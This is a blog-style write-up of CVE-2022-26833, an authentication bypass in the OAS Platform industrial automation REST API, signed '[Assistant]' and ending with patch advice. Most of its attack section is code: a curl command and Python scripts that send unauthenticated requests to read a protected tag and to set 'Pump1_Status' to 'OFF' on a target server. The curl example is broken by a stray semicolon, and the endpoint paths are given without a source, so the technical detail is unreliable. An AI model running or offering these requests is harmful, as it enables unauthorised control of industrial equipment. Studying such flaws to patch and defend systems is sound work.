Open Automation Software (OAS) provides crucial software for industrial automation. Many organizations use OAS’s Platform to help control devices, monitor status, and automate machines. But in early 2022, a serious security issue was discovered that could let attackers bypass authentication and control the system—just by sending a few crafted HTTP requests to the REST API.

This post breaks down CVE-2022-26833, shows you how the bug works, and gives simple, exclusive code examples to help you understand and test it if you're running affected versions.

Product: Open Automation Software OAS Platform (v16.00.0121 and possibly others)

- CVE ID: CVE-2022-26833

Severity: HIGH

The bug comes from missing or faulty authentication checks in the OAS Platform’s REST API. Attackers don't need to log in—they just send crafted requests, and the API executes them as if authenticated. That could mean reading or altering device values, changing configurations, or shutting down equipment if your OAS server is exposed.

Why Is This So Dangerous?

Many organizations expose management interfaces (like the OAS REST API) to their networks for remote control or monitoring. If these are left open—especially to the internet—and authentication is missing or can be bypassed, anyone who finds the interface can take control.

How Does The Exploit Work?

Usually, before you can make API calls to OAS, you need to authenticate. The bug is that version 16.00.0121’s REST API will process requests even if you skip authentication. That means anyone can trigger API endpoints just by making the right HTTP requests.

Here’s a breakdown of a typical attack

1. Attacker discovers the OAS API endpoint (usually something like http://<oas-host>:<port>/OASREST/v1/)

Example Exploit: Reading Live Tag Value

Suppose an attacker wants to read the value of an industrial tag (variable as in: the temperature sensor or status flag) that’s supposed to be protected.

Original API Usage (with authentication)

Normally, you would POST to the API with a token in the header.

Example

curl -X POST 'http://oas-server:port/OASREST/v1/GetTagValue'; \
  -H 'Authorization: Bearer <token>' \
  -d '{ "TagName": "Pump1_Status" }'

Let’s do it in Python (you could just use curl, but code helps with automation)

import requests

# Set the URL to your OAS Platform endpoint
oas_url = "http://target-ip:port/OASREST/v1/GetTagValue";

# Data to send - replace 'Pump1_Status' with any tag name
payload = { "TagName": "Pump1_Status" }

# No headers for Authorization needed!
response = requests.post(oas_url, json=payload)

print(response.text)

The server will respond with the raw value of the tag—even though you were never authenticated.

Suppose an attacker wants to set a tag (Pump1_Status = OFF). They send

import requests

oas_url = "http://target-ip:port/OASREST/v1/SetTagValue";

payload = {
    "TagName": "Pump1_Status",
    "Value": "OFF"
}

response = requests.post(oas_url, json=payload)

print(response.text)

If you use OAS Platform (v16.00.0121 or similar)

- Upgrade now: OAS has published a fix as of May 2022. Always use the latest safe version!
- Don’t expose the REST API to public networks. Restrict access to trusted IPs with firewall rules.

References & Further Reading

- NIST CVE Detail: CVE-2022-26833
- ICS Advisory ICSA-22-145-01 (CISA)
- Vendor Patch Notes

Final Thoughts

CVE-2022-26833 is a textbook example of why REST APIs in industrial systems require robust authentication. The fix is simple—update your OAS Platform, and never leave critical systems open to public access. If you’re not sure whether you’re exposed, try the Python snippets above on your own deployment (with permission).  

If you're running a vulnerable version: Patch, restrict access, and notify your security team immediately.


*Exclusive write-up by [Assistant], June 2024. Use responsibly.

Timeline

Published on: 05/25/2022 21:15:00 UTC
Last modified on: 06/03/2022 03:27:00 UTC